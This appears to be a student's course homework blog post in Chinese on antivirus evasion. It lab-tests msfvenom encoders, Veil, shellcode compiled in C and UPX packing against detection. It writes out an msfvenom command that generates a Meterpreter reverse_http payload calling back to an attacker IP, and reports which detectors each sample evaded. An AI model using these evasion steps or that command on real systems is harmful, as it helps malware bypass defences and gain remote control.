2017-2018-2 20179207 《网络攻防技术》第十二周作业 免杀技术

基础问题回答

(1)杀软是如何检测出恶意代码的?

基于特征码的检测

恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。

启发式恶意软件检测

基于行为的恶意软件检测

如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码。

(2)免杀是做什么?

使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀。

(3)免杀的基本方法有哪些?

改变特征码

对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码

改变攻击行为

基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

实践

msf编码器

MSF编码器。其功能是对我们攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。

msf生成后门(裸奔),运行时,被联想电脑管家检测到危险。(test.exe)

想到使用使用msf多重编码。

这里使用管道让msfvenom对攻击载荷(test1.exe)多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码。获得test2.exe

在线检测 ,嗯,失败。

veil

通过git克隆的方式对veil-evasion进行安装,长时间的等待和安装,装好后利用它生成payload。报错无法定位到runx.exe,似乎是入口文件,可能安装过程中出现问题。于是重新安装(同样使用git方式)。安装三次依然无法生成。处于绝望状态,突然想到去veil官网看看,惊喜发现,kali下安装的版本是2.8似乎是不再维护了,所以现在是3.x版本的了,尝试安装新版本。

2.8不友好,generate不来哦。。

3.1成功!用veil生成payload。

test1

生成test1.exe后放到主机上,没有检测出来。

运行一下试试。

果然,被查杀了。

shellcode

使用msfvenom生成shellcode :

msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.1.105 lport=5555 -f c

利用c语言编写的shellcode ,编译后获得exe ,...(* ̄0 ̄)ノ没有被发现~金山同志可以反思一下了。。。。

放到在线检测网站上。。

加壳

1.upx加壳

技术太简单,秒被发现。

2.第三方软件加壳

加个壳试试

哈哈,又失败了。。。

实践总结与体会

环境搭建的过程很崩溃。

离实战还差很多。没有足够的伪装,而且生成的很多木马依旧会被一些其他的杀毒软件检测出来。CobaltStrike可以试一下。

猜你喜欢

转载自www.cnblogs.com/huihui0708/p/9095573.html
今日推荐